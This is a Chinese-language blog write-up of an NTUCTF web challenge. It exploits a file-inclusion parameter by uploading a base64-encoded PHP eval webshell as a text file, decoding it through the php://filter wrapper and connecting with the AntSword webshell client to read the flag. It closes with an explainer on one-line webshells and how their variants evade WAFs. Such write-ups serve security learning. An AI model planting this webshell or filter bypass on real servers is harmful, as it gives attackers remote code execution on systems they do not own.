NTUCTF web——upload

upload

在这里插入图片描述
url中存在file=upload.php参数,所以存在文件包含。
上传一个PHP文件后,得到
在这里插入图片描述
因为存在文件包含,所以可以包含存在php脚本的jpg图片,上传依旧被拦截
(后缀为PHP和含php的图片,文本文件都会被拦截)。题目是典型的文件上传题,想要上传一个一句话木马,但是php被限制了,所以把文件内容进行base64编码,利用php伪协议进行解码,达到文件包含 ,上传个非php后缀的内容为一句话木马的base64编码文件。

<?php @eval($_POST[66]); ?>

复制代码后利用在线base64编码转换器换成base64编码并且新建一个txt文件将其放进去,上传

PD9waHAKZXZhbCgkX1BPU1RbNjZdKTsKPz4=

在这里插入图片描述
之后再使用中国菜刀或者中国蚁剑(我用的中国蚁剑)

中国蚁剑的安装教程:https://blog.csdn.net/qq1045553189/article/details/87517612
中国蚁剑的使用教程:https://doc.u0u.us/zh-hans/index.html

打开蚁剑右击添加数据
在这里插入图片描述

url:http://210.29.65.90:32789/index.php?file=php://filter/read=convert.base64-decode/resource=uploads/d.txt
连接密码:66(是上传文件中post的值)
注意

  • 是index.php而不是upload.php
  • decode是解码,encode是编码(读取时需要利用php伪协议解码还原然后执行)

连接成功后直接在根目录下找到flag
在这里插入图片描述


关于本题涉及到的一些知识点
题目是有关文件上传和PHP伪代码的问题

参考文章:

一句话木马(俗称小马 )

基本格式:<?php @eval($_xxxxxx); ?>
原理:一句话木马就是一句简单的脚本语言 ,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。
在php语言中我们可以通过GET 、POST 、COOKIE 这三种方式向一个网站提交数据,一句话木马用: _GET[’ '̲]、_POST[’ ‘]、$_COOKIE[’ '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。
就像是这样:执行命令的函数(接收的数据)

在这里插入图片描述

其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。
(参考文章:https://blog.csdn.net/weixin_43915842/article/details/89426082)

猜你喜欢

转载自blog.csdn.net/weixin_45664911/article/details/103072952
今日推荐